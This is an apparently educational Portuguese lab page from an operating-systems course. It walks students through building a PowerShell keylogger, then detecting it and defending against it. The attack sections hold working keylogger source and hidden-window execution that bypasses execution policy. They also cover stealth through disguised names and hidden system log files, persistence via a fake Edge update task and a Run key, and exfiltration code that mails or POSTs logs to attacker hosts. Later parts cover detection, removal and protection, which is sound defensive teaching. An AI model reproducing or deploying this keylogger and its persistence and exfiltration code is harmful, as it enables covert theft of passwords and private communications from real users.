Pular para o conteúdo principal

Lab 3.3: Keylogger PowerShell - Captura de Digitação

Objetivos de Aprendizagem​

Ao final deste laboratório, você será capaz de:

  • Compreender o funcionamento de um keylogger
  • Criar um keylogger PowerShell simples
  • Implementar furtividade e persistência
  • Detectar a presença de um keylogger
  • Entender os riscos de PCs públicos e não monitorados
  • Aplicar medidas de proteção

Duração Estimada​

35 minutos

Pré-requisitos​

  • VM Windows 10/11
  • PowerShell
  • Compreensão dos Labs 3.1 e 3.2

Contexto Profissional​

Keyloggers são usados por:

  • Atacantes para roubar senhas e informações sensíveis
  • Empresas para monitoramento de funcionários (com consentimento legal!)
  • Pais para monitorar atividades dos filhos (controle parental)
  • Governos para vigilância direcionada (com mandado)

Este lab demonstra:

  • Como TUDO que você digita pode ser capturado
  • Por que PCs públicos são perigosos
  • Como agem os ladrões de identidade
  • Importância da segurança física
  • Técnicas de detecção

ESTE LABORATÓRIO ENSINA A CRIAÇÃO DE UM KEYLOGGER

Keyloggers são ferramentas EXTREMAMENTE invasivas que capturam TUDO que é digitado: senhas, mensagens privadas, e-mails, números de cartão de crédito, etc.

LEGAL APENAS SE:

  • No seu próprio computador/VM
  • Com consentimento escrito de todas as pessoas monitoradas
  • Para testes de segurança autorizados por contrato
  • Para monitoramento parental legal (apenas menores)

ESTRITAMENTE ILEGAL:

  • Instalar no computador de terceiros sem consentimento
  • Em PCs públicos (biblioteca, café, etc.)
  • Em PCs de trabalho sem autorização do empregador
  • Em PCs de cônjuge/parceiro/família sem consentimento

CONSEQUÊNCIAS EXTREMAMENTE GRAVES:

  • Crime grave: Violação de privacidade (Código Penal art. 184)
  • Prisão de até 5 anos
  • Multas elevadas
  • Ficha criminal permanente
  • Processo civil por danos
  • Expulsão acadêmica

EM ALGUNS PAÍSES/ESTADOS:

  • Keylogging = Crime equiparado à escuta eletrônica
  • Penas ainda mais severas

ESTE LAB É PARA COMPREENSÃO E DEFESA APENAS

Ao realizar este laboratório, você entende que essas técnicas existem e aprende a se proteger delas. O uso malicioso é SUA responsabilidade e terá consequências legais graves.


Parte 1: Compreendendo os Keyloggers​

Etapa 1.1: O que é um Keylogger?​

Keylogger = Software (ou hardware) que registra todas as teclas digitadas.

Captura:

  • Senhas
  • Mensagens (e-mail, chat, SMS)
  • Documentos digitados
  • Pesquisas na web
  • Números de cartão de crédito
  • Código PIN
  • TUDO!

Tipos:

  1. Software (este lab): Programa rodando em segundo plano
  2. Hardware: Dispositivo físico entre teclado e PC
  3. Kernel-level: Integrado ao sistema operacional
  4. Hypervisor-level: No nível da virtualização

Etapa 1.2: Como Funciona?​

Princípio técnico:

  1. Hook de teclado: Intercepta eventos do teclado
  2. Captura de tecla: Registra qual tecla foi pressionada
  3. Timestamp: Hora exata da digitação
  4. Janela ativa: Qual programa/site está ativo
  5. Salvamento: Escreve em arquivo de log oculto
  6. Exfiltração: Envia os logs ao atacante

APIs do Windows utilizadas:

  • GetAsyncKeyState() - Estado atual das teclas
  • GetForegroundWindow() - Janela ativa
  • GetWindowText() - Título da janela

Perguntas:

  1. Você já usou um PC público (biblioteca, café)?
  2. Já digitou senhas nesses PCs?

Etapa 1.3: Cenários de Uso Malicioso​

Cenário 1: PC Público

  • Keylogger instalado em PC de biblioteca
  • Você digita senha de e-mail/banco
  • Atacante recupera o log depois
  • Acessa todas as suas contas

Cenário 2: USB Malicioso

  • Pen drive encontrado contém keylogger
  • Autoexecução ou curiosidade → Instalação
  • Captura por meses
  • Roubo de identidade completo

Cenário 3: Cônjuge Ciumento

  • Instalação em PC compartilhado
  • Captura conversas, e-mails
  • Violação grave de privacidade
  • Ilegal mesmo entre cônjuges!

Perguntas: 3. Qual cenário parece mais provável para você? 4. Como você se protegeria?


Parte 2: Criação do Keylogger​

Etapa 2.1: Versão Básica (15 linhas!)​

Crie um arquivo keylogger_basic.ps1:

# Keylogger PowerShell Básico
$logFile = "$env:TEMP\log.txt"

Add-Type -AssemblyName System.Windows.Forms

while ($true) {
Start-Sleep -Milliseconds 10

foreach ($key in [Enum]::GetValues([System.Windows.Forms.Keys])) {
if ([System.Windows.Forms.Control]::IsKeyLocked($key)) {
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$logEntry = "$timestamp - $key"
Add-Content -Path $logFile -Value $logEntry
}
}
}

ATENÇÃO: Este código é simplificado para demonstração. Versão real é mais complexa.

Execute em segundo plano:

powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File keylogger_basic.ps1

Janela invisível! O keylogger roda em segundo plano.

Etapa 2.2: Versão Avançada (Mais Realista)​

Crie keylogger_advanced.ps1:

# Keylogger PowerShell Avançado
# PARA USO EDUCACIONAL APENAS!

$logFile = "$env:APPDATA\Microsoft\Windows\winlog.txt"
$lastWindow = ""

# Assinatura API Windows
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Text;

public class KeyLogger {
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(int vKey);

[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();

[DllImport("user32.dll")]
public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
}
"@

function Get-ActiveWindowTitle {
$handle = [KeyLogger]::GetForegroundWindow()
$title = New-Object System.Text.StringBuilder 256
[void][KeyLogger]::GetWindowText($handle, $title, $title.Capacity)
return $title.ToString()
}

function Write-Log {
param($text)
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
Add-Content -Path $logFile -Value "[$timestamp] $text" -Force
}

Write-Log "===== Keylogger Started ====="

# Loop principal
while ($true) {
Start-Sleep -Milliseconds 10

# Verificar janela ativa
$currentWindow = Get-ActiveWindowTitle
if ($currentWindow -ne $lastWindow -and $currentWindow -ne "") {
Write-Log "`n=== Window: $currentWindow ==="
$lastWindow = $currentWindow
}

# Verificar cada tecla
for ($i = 8; $i -le 190; $i++) {
$keyState = [KeyLogger]::GetAsyncKeyState($i)

if ($keyState -eq -32767) {
# Tecla pressionada
$key = [System.Enum]::GetName([System.Windows.Forms.Keys], $i)

# Teclas especiais
switch ($i) {
8 { Write-Log "[BACKSPACE]"; break }
9 { Write-Log "[TAB]"; break }
13 { Write-Log "[ENTER]`n"; break }
16 { continue } # Shift
17 { continue } # Ctrl
18 { continue } # Alt
20 { Write-Log "[CAPSLOCK]"; break }
27 { Write-Log "[ESC]"; break }
32 { Write-Log " "; break }
46 { Write-Log "[DELETE]"; break }
default {
# Letra ou número
if ($key) {
$char = [char]$i
Write-Log $char -NoNewline
}
}
}
}
}
}

Funcionalidades:

  • ✅ Captura todas as teclas
  • ✅ Detecta a janela ativa (sabe qual site/app)
  • ✅ Timestamp preciso
  • ✅ Arquivo de log oculto
  • ✅ Lida com teclas especiais (Enter, Backspace, etc.)

Perguntas: 5. Quantas linhas tem este keylogger? 6. É difícil de criar? (Resposta: NÃO!)

Etapa 2.3: Execução e Teste​

Inicie o keylogger:

Start-Process powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Path\To\keylogger_advanced.ps1"

Agora, digite algumas coisas:

  1. Abra o Bloco de Notas
  2. Digite: "Isto é um teste"
  3. Abra o navegador
  4. Digite: "senha: Test123!"
  5. Abra a calculadora
  6. Digite alguns números

Pare o keylogger:

Get-Process powershell | Where-Object {$_.CommandLine -like "*keylogger*"} | Stop-Process

Etapa 2.4: Ver os Resultados​

Abra o arquivo de log:

notepad "$env:APPDATA\Microsoft\Windows\winlog.txt"

VOCÊ VÊ:

[2024-11-08 14:23:15] ===== Keylogger Started =====

[2024-11-08 14:23:20] === Window: Sem título - Bloco de Notas ===
I s t o é u m t e s t e [ENTER]

[2024-11-08 14:23:45] === Window: Google Chrome - google.com ===
s e n h a : T e s t 1 2 3 ! [ENTER]

[2024-11-08 14:24:10] === Window: Calculadora ===
1 2 3 4 5 6 7 8 9 0

Uau! TUDO FOI CAPTURADO!

Até mesmo:

  • As senhas (mostradas como pontos mas capturadas em texto claro!)
  • As janelas utilizadas
  • O horário exato
  • As teclas especiais

Perguntas: 7. Você ficou surpreso ao ver tudo que foi capturado? 8. Imagine este arquivo após um dia inteiro...


Parte 3: Furtividade e Persistência​

Etapa 3.1: Tornando Invisível​

Problema atual:

  • Processo powershell.exe visível no Gerenciador de Tarefas
  • Consumo de CPU visível
  • Arquivo de log pode ser encontrado

Melhorias:

1. Nome de processo disfarçado:

Renomeie o script:

  • winupdate.ps1 (parece Windows Update)
  • svchost.ps1 (parece serviço do Windows)
  • chrome_update.ps1 (parece Chrome)

2. Arquivo de log oculto:

$logFile = "$env:APPDATA\Microsoft\Windows\Logs\winupdate.log"

# Criar pasta se não existir
New-Item -ItemType Directory -Force -Path (Split-Path $logFile)

# Marcar arquivo como oculto e de sistema
$file = Get-Item $logFile -Force
$file.Attributes = 'Hidden,System'

3. Reduzir consumo de CPU:

# Em vez de 10ms, use 50ms ou 100ms
Start-Sleep -Milliseconds 50

Menos preciso, mas menos detectável!

Etapa 3.2: Persistência Automática​

Método 1: Tarefa Agendada

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\winupdate.ps1"

$trigger = New-ScheduledTaskTrigger -AtLogon

$principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest

Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore" `
-Action $action -Trigger $trigger -Principal $principal `
-Description "Keeps your Microsoft Edge up to date"

Nome que parece tarefa legítima!

Método 2: Chave de Registro Run

$scriptPath = "C:\Windows\Temp\winupdate.ps1"
$psCommand = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File $scriptPath"

Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "WindowsSecurityUpdate" -Value $psCommand

Inicia a cada login!

Método 3: Serviço do Windows (Avançado)

# Criar serviço do Windows disfarçado
# Requer privilégios SYSTEM
# Não detalhado aqui, mas muito eficaz

Perguntas: 9. Qual método de persistência você prefere? 10. Como um usuário comum detectaria isso?

Etapa 3.3: Exfiltração dos Logs​

Problema: Atacante precisa recuperar o arquivo de log

Soluções:

1. E-mail automático (simples):

# Enviar log por e-mail diariamente
$emailFrom = "keylogger@attacker.com"
$emailTo = "attacker@evil.com"
$subject = "Log from $env:COMPUTERNAME"
$body = Get-Content $logFile -Raw
$smtp = "smtp.attacker.com"

Send-MailMessage -From $emailFrom -To $emailTo -Subject $subject -Body $body -SmtpServer $smtp

2. Upload HTTP (furtivo):

$url = "http://attacker.com/upload.php"
$logContent = Get-Content $logFile -Raw

Invoke-WebRequest -Uri $url -Method POST -Body @{data=$logContent} -UseBasicParsing

3. Reverse shell periódico:

Enviar log via reverse shell estabelecido (Lab 3.2!)

4. Armazenamento em nuvem (muito furtivo):

# Upload para Dropbox/OneDrive/Google Drive
# Passa despercebido pois tráfego é "legítimo"

Detecção difícil pois parece tráfego normal!


Parte 4: Detecção de Keylogger​

Etapa 4.1: Detecção por Processo​

Procurar processos PowerShell suspeitos:

Get-Process powershell | Select-Object Id,ProcessName,StartTime,Path,CommandLine | Format-List

Suspeito se:

  • Iniciado no login
  • Argumento contém "Hidden"
  • Não foi iniciado por você
  • Está rodando há muito tempo

Finalizar processo suspeito:

Stop-Process -Id <PID> -Force

Etapa 4.2: Detecção por Arquivos​

Procurar arquivos de log suspeitos:

# Procurar arquivos .txt ou .log modificados recentemente
Get-ChildItem -Path C:\Users\$env:USERNAME\AppData -Recurse -Include *.txt,*.log -Force -ErrorAction SilentlyContinue |
Where-Object {$_.LastWriteTime -gt (Get-Date).AddHours(-1)} |
Select-Object FullName,Length,LastWriteTime

Examine arquivos suspeitos:

notepad "C:\Path\To\Suspicious\File.txt"

Se você vê suas próprias digitações = KEYLOGGER!

Etapa 4.3: Detecção por Tarefas Agendadas​

Listar todas as tarefas:

Get-ScheduledTask | Where-Object {$_.State -eq "Ready"} | 
Select-Object TaskName,TaskPath,State |
Format-Table -AutoSize

Examinar tarefas suspeitas:

$task = Get-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore"
$task | Select-Object * | Format-List
$task.Actions

Suspeito se:

  • Nome parece serviço do Windows mas não existe de verdade
  • Ação = PowerShell com script desconhecido
  • Você não criou

Remover:

Unregister-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore" -Confirm:$false

Etapa 4.4: Detecção por Registro​

Verificar chaves Run:

Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"

Qualquer entrada desconhecida = suspeita!

Remover:

Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsSecurityUpdate"

Etapa 4.5: Ferramentas de Detecção Automatizadas​

Usar antivírus/antimalware:

# Windows Defender varredura completa
Start-MpScan -ScanType FullScan

Ferramentas especializadas:

  • Malwarebytes (gratuito)
  • HitmanPro
  • RogueKiller
  • KL-Detector (específico para keyloggers)

Perguntas: 11. Você detectou seu próprio keylogger? 12. Quanto tempo levou para detectar?


Parte 5: Cenários Reais e Impacto​

Etapa 5.1: Roubo de Identidade Completo​

O que um keylogger pode capturar em 1 semana:

Dia 1:

  • E-mail: usuário + senha
  • Redes sociais: Facebook, Instagram, Twitter
  • Pesquisas pessoais no Google

Dia 2:

  • Banco online: usuário + senha + código
  • Número do cartão + CVV + validade
  • Conversas privadas (Messenger, WhatsApp Web)

Dia 3:

  • VPN da empresa: acesso à rede corporativa
  • E-mails profissionais sensíveis
  • Documentos confidenciais digitados

Dia 4:

  • Senhas de colegas (se compartilhadas)
  • Credenciais de servidores
  • Segredos industriais

Dia 5-7:

  • Acúmulo de dados
  • Padrões de vida (horários de conexão, hábitos)
  • Contatos e relações

RESULTADO:

  • Roubo total de identidade
  • Acesso a todas as suas contas
  • Comprometimento do seu empregador
  • Possível chantagem
  • Ruína financeira potencial

Etapa 5.2: Caso Real - Magic Lantern (FBI)​

2001: FBI desenvolve keylogger "Magic Lantern"

  • Implantado via exploit ou acesso físico
  • Captura chaves de criptografia
  • Contorna PGP e outros métodos de criptografia

Revelado publicamente: Controvérsia sobre privacidade

Etapa 5.3: Caso Real - Lan Houses na Ásia​

2010s: Keyloggers descobertos em 60% dos PCs de lan houses

  • Tailândia, Filipinas, Índia
  • Turistas vítimas
  • Contas bancárias esvaziadas após retorno ao país de origem

Dica de viagem: NUNCA acesse banco em PC público!

Etapa 5.4: Caso Real - Empresa Comprometida​

2018: Empresa farmacêutica comprometida

  • Keylogger instalado em PC de funcionário via phishing
  • Acesso VPN capturado
  • Movimento lateral para servidores de P&D
  • Roubo de fórmulas de medicamentos valendo mais de US$100 milhões

Custo total: Falência da empresa!

Perguntas: 13. Esses cenários parecem realistas para você? 14. Qual seria o impacto se houvesse um keylogger no seu PC agora?


Parte 6: Medidas de Proteção​

Etapa 6.1: Proteção Pessoal​

1. NUNCA use PC público para:

  • Banco online
  • E-mail
  • Redes sociais
  • Compras online
  • Qualquer coisa sensível!

2. Teclado virtual (on-screen keyboard):

osk

Clique nas letras ao invés de digitar = contorna keylogger!

Limitação: Não prático para uso diário

3. Gerenciador de senhas:

Bitwarden, 1Password, LastPass:

  • Preenchimento automático = sem digitação!
  • Keylogger não captura nada

4. Autenticação em dois fatores (2FA):

Mesmo que a senha seja roubada:

  • 2FA impede o acesso
  • Código no celular é obrigatório

Etapa 6.2: Proteção Empresarial​

1. Antivirus/EDR:

Endpoint Detection and Response:

  • Detecta comportamentos suspeitos
  • Bloqueia keyloggers conhecidos
  • Alerta equipe de segurança

2. Whitelisting de aplicações:

Somente programas autorizados podem rodar:

# AppLocker
# Device Guard
# Windows Defender Application Control

3. Política de execução do PowerShell:

Set-ExecutionPolicy AllSigned -Force

Apenas scripts assinados por autoridade confiável!

4. Monitoramento:

  • SIEM (Security Information and Event Management)
  • Log de todos os processos PowerShell
  • Alerta se execução com "-Hidden"

Etapa 6.3: Proteção Física​

PC Pessoal:

  1. BitLocker ativado (impede instalação em modo de recuperação)
  2. Bloqueio automático após 1 minuto
  3. Senha na BIOS (impede boot alternativo)
  4. Nunca deixar sem supervisão

PC Empresarial: 5. Criptografia total de disco obrigatória 6. Portas USB desativadas (impede autorun) 7. Monitoramento por vídeo em salas de servidores 8. Crachá de acesso obrigatório


Parte 7: Keyloggers de Hardware​

Etapa 7.1: O que é um Keylogger de Hardware?​

Dispositivo físico:

  • Conectado entre teclado e PC
  • OU integrado ao teclado
  • OU integrado ao cabo

Vantagens (para o atacante):

  • Impossível de detectar por software!
  • Nenhum antivírus pode encontrar
  • Funciona em qualquer SO (Windows, Linux, Mac)
  • Não há processo para esconder

Aparência:

  • Parece um adaptador USB
  • Ou completamente invisível (integrado)

Etapa 7.2: Detecção de Hardware​

Como detectar:

  1. Inspeção visual regular

    • Verifique conexões do teclado
    • Procure dispositivos entre teclado e PC
    • Compare com o estado normal
  2. Verifique cabos

    • Caixa suspeita no cabo?
    • Cabo mais grosso que o normal?
  3. Baseline de hardware

    • Fotografe o setup normal
    • Compare regularmente

Na empresa:

  • Selos de segurança nos conectores
  • Inventário rigoroso de hardware
  • Inspeções regulares

Etapa 7.3: Proteção Contra Hardware​

Soluções:

  1. Teclado sem fio Bluetooth (mais difícil de interceptar)
  2. Inspeção visual regular
  3. Ambiente controlado
  4. Teclado virtual para senhas críticas

Parte 8: Exercícios Práticos​

Exercício 8.1: Aprimore o Keylogger​

Adicione estas funcionalidades:

  1. Captura de screenshots periódicos
  2. Detecção de palavras-chave ("password", "bank", "credit card")
  3. Criptografia do arquivo de log
  4. Compressão antes da exfiltração

Exercício 8.2: Script de Detecção​

Crie um script que:

  1. Escaneia processos PowerShell suspeitos
  2. Verifica tarefas agendadas
  3. Procura arquivos de log suspeitos
  4. Verifica chaves de registro Run
  5. Gera relatório em HTML

Exercício 8.3: Política de Segurança​

Redija uma política empresarial:

  • Proibição de keyloggers
  • Procedimentos de detecção
  • Sanções em caso de uso
  • Treinamento de funcionários

Entregáveis​

A entregar:

  1. Documento de análise (Word/PDF, 3-4 páginas):

    • Respostas às 14 perguntas
    • Explicação do funcionamento do keylogger
    • Screenshot do arquivo de log (ANONIMIZADO!)
    • Análise dos riscos pessoais
  2. Capturas de tela (mínimo 5):

    • Código do keylogger
    • Processo PowerShell em execução
    • Arquivo de log com capturas (anonimizadas!)
    • Tarefa agendada de persistência
    • Detecção e remoção
  3. Plano de proteção pessoal (1-2 páginas):

    • Avaliação dos seus riscos atuais
    • Medidas a serem implementadas
    • Mudanças de hábitos
    • Cronograma de implementação
  4. Sensibilização (opcional, +5% bônus):

    • Vídeo ou apresentação (5 min)
    • "Por que nunca usar PC público"
    • Demonstração do keylogger
    • Dicas de proteção

Critérios de Avaliação​

CritérioPontos
Keylogger funcional criado e testado25%
Compreensão do funcionamento20%
Detecção e remoção bem-sucedidas20%
Análise dos riscos reais15%
Plano de proteção pessoal15%
Qualidade da documentação5%
Bônus de sensibilização+5%

Comandos de Referência Rápida​

Execução​

# Iniciar keylogger oculto
Start-Process powershell -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass -File keylogger.ps1"

# Parar
Get-Process powershell | Where-Object {$_.CommandLine -like "*keylogger*"} | Stop-Process

Detecção​

# Processos suspeitos
Get-Process powershell | Select Id,StartTime,CommandLine

# Arquivos de log recentes
Get-ChildItem -Path $env:APPDATA -Recurse -Include *.txt,*.log -Force

# Tarefas agendadas
Get-ScheduledTask | Where State -eq "Ready"

# Chaves Run
Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run

Limpeza​

# Remover tarefa
Unregister-ScheduledTask -TaskName "SuspiciousTask"

# Remover chave de registro
Remove-ItemProperty -Path "HKCU:\...\Run" -Name "Suspicious"

# Remover arquivo de log
Remove-Item -Path $logFile -Force

Solução de Problemas​

Problema: Keylogger não captura nada​

Solução:

  • Verifique se o script está rodando (Get-Process powershell)
  • Verifique se o arquivo de log foi criado
  • Permissões de escrita na pasta?

Problema: Antivírus bloqueia​

Solução:

  • Isso é NORMAL! É um keylogger!
  • Adicione exceção apenas para este laboratório
  • Reative a proteção depois

Problema: Consumo de CPU alto​

Solução:

  • Aumente o delay do Start-Sleep (50ms ou 100ms)
  • Otimize o loop de detecção

Indo Além (Opcional)​

Desafio 1: Keylogger GUI​

Crie uma interface gráfica para:

  • Iniciar/parar captura
  • Visualizar logs em tempo real
  • Filtrar por aplicação
  • Exportar em diferentes formatos

Desafio 2: Anti-Keylogger​

Desenvolva uma ferramenta que:

  • Detecta keyloggers ativos
  • Remove automaticamente
  • Protege em tempo real
  • Alerta o usuário

Desafio 3: Pesquisa​

Estude keyloggers profissionais:

  • FinFisher/FinSpy (governamental)
  • Ardamax Keylogger (comercial)
  • Perfect Keylogger (comercial)

Compare com sua versão.


Recursos Adicionais​


Conclusão​

Este laboratório ensinou você a:

  • Criar um keylogger PowerShell funcional
  • Implementar furtividade e persistência
  • Detectar e remover keyloggers
  • Compreender os riscos reais
  • Aplicar medidas de proteção

Lições CRÍTICAS:

  1. 15 linhas de código = Keylogger funcional!
  2. TUDO que você digita pode ser capturado
  3. PCs públicos = PERIGO EXTREMO
  4. Gerenciador de senhas = Proteção essencial
  5. Nunca digite senhas sensíveis em PC não confiável
  6. Detecção difícil mas possível com vigilância

CONSCIENTIZAÇÃO:

Depois deste laboratório, você nunca mais verá um teclado da mesma forma. Toda vez que digitar uma senha, pergunte-se: "Este PC é seguro?"

PROTEJA-SE:

  • Use um gerenciador de senhas AGORA
  • Ative 2FA em TODAS as suas contas
  • Nunca faça operações bancárias em PC público
  • Verifique regularmente seus processos
  • Eduque quem está ao seu redor

MENSAGEM FINAL:

Agora você tem o poder de criar um keylogger em poucos minutos. Esse poder vem com uma ENORME responsabilidade.

Use este conhecimento para:

  • ✅ Se proteger
  • ✅ Proteger os outros
  • ✅ Conscientizar quem está ao seu redor
  • ✅ Testes de segurança autorizados

NUNCA para:

  • ❌ Espionar
  • ❌ Roubar
  • ❌ Violar a privacidade
  • ❌ Prejudicar

Fique do lado do bem. 🛡️


Lab desenvolvido no contexto do curso Sistemas Operacionais - MÓDULO 3

⚠️ LEMBRETE FINAL: Keylogger em computador de terceiros = CRIME GRAVE. Prisão garantida.